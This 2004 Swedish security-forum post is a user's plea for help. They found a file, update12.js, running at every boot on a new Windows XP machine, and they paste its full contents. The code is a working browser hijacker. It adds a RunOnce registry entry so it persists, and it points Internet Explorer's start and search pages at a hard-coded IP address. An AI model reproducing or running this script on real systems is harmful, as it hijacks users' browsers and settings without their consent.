---
title: "update12.js ändrar default startsida i IE"
type: "forum-thread"
url: "https://www.webforum.nu/amne/datasakerhet/94798-update12-js-ändrar-default-startsida-i-ie"
topic: "Datasäkerhet"
topic_url: "https://www.webforum.nu/amne/datasakerhet"
author: "peppar"
published: "2004-01-14T16:00:45.000Z"
updated: "2004-01-14T16:00:45.000Z"
replies: 0
views: 188
page: 1
pages: 1
language: "sv-SE"
site: "webForum — webforum.nu"
rights: "Upphovsrätten till varje inlägg tillhör dess författare."
attribution: "Citera som: webForum, https://www.webforum.nu/amne/datasakerhet/94798-update12-js-ändrar-default-startsida-i-ie"
---

# update12.js ändrar default startsida i IE

## #1 — peppar, 2004-01-14T16:00Z

Har ett relativt nyinstallerat WinXP PRO system och trodde att det var 'rent'. Men det har smugit in sig ett litet kryp i windows mappen. En fil som heter updater12.js och körs i varje boot av datorn. Jag undrar om någon vet vart ifrån den kan tänkas komma, eller hur jag får bort anropet till filen i booten. Den hittas i bootsekvensen av McAfees virus skydd.
Hittade ett nyckelnamn i regsitret

```
HKEY_USERS\S-1-5-21-1757981266-436374069-725345543-1003\Software\Microsoft\Search Assistant\ACMru\5603
```

Så här ser filen ut

```
var url = "http://81.211.105.9/index.php?v=2";
var burl = "http://81.211.105.9/search.php?v=2";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update12.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");
```

Permalänk: https://www.webforum.nu/p/94798

---

Tråden på webben: https://www.webforum.nu/amne/datasakerhet/94798-update12-js-ändrar-default-startsida-i-ie